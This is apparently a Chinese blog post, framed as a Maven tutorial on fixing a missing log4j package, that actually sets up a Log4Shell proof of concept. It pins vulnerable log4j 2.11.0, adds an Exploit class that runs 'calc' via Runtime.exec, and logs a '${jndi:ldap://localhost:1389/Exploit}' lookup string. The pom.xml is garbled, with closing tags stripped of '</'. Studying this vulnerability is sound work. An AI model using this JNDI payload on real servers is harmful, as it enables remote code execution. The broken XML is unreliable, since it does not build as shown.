• Maven编译java及解决程序包org.apache.logging.log4j不存在问题


    1、首先新建一个文件夹,比如hello
    Hello里新建pom.xml

    
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
        <modelVersion>4.0.0modelVersion>
        <groupId>org.springframeworkgroupId>
        <artifactId>gs-mavenartifactId>
        <packaging>jarpackaging>
        <version>0.1.0version>
    
        <dependencies>
            <dependency>
                <groupId>org.apache.logging.log4jgroupId>
                <artifactId>log4j-coreartifactId>
                <version>2.11.0version>
            dependency>
            <dependency>
                <groupId>org.apache.logging.log4jgroupId>
                <artifactId>log4j-apiartifactId>
                <version>2.11.0version>
            dependency>
            <dependency> 
                <groupId>log4jgroupId>
                <artifactId>log4jartifactId>
                <version>1.2.12version>
            dependency>
        dependencies>
        <build>
            <plugins>
                <plugin>
                    <groupId>org.apache.maven.pluginsgroupId>
                    <artifactId>maven-shade-pluginartifactId>
                    <version>2.1version>
                    <executions>
                        <execution>
                            <phase>packagephase>
                            <goals>
                                <goal>shadegoal>
                            goals>
                            <configuration>
                                <transformers>
                                    <transformer
                                        implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                        <mainClass>hello.LogTestmainClass>
                                    transformer>
                                transformers>
                            configuration>
                        execution>
                    executions> 
                plugin>
            plugins>
        build>
    project>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    注意上面dependencies部分用于解决程序包org.apache.logging.log4j不存在问题,即
    Maven编译java及解决程序包org.apache.logging.log4j不存在问题
    和文件夹src\main\java
    java里新建Exploit.java和LogTest.java
    Exploit.java

    class Exploit{
        static {
            System.err.println("Pwned");
            try {
                String cmds = "calc";
                Runtime.getRuntime().exec(cmds);
            } catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    LogTest.java

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    class LogTest {
        public static final Logger logger = LogManager.getLogger();
        public static void main(String[] args) {
            logger.error("${jndi:ldap://localhost:1389/Exploit}");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    2、然后使用meve compile编译就行
    在这里插入图片描述

    生成的class在target里
    在这里插入图片描述

    另外值得注意的是编辑xml不要用记事本,会有缩进问题,建议使用vscode编辑

  • 相关阅读:
    【java_wxid项目】【第十一章】【MongoDB集成】
    opencv4第二章
    Ant Design Pro 组件踩坑记录
    零基础Linux_7(进程)冯诺依曼结构+操作系统原理+进程的概念和基本操作
    国产AI绘画海克斯科技——爱作画AIGC开放平台
    Learn Prompt-ChatGPT 精选案例:学习各国语言
    一次SpringBoot版本升级,引发的血案
    PATH 与 LD_LIBRARY_PATH 的用法举例
    ElasticSearch综合练习题,ES为8版本,使用Kibana运行语句
    iNFTnews|风口之上,耐克推出的web3平台.SWOOSH能否引领市场?
  • 原文地址:https://blog.csdn.net/wutiangui/article/details/132690119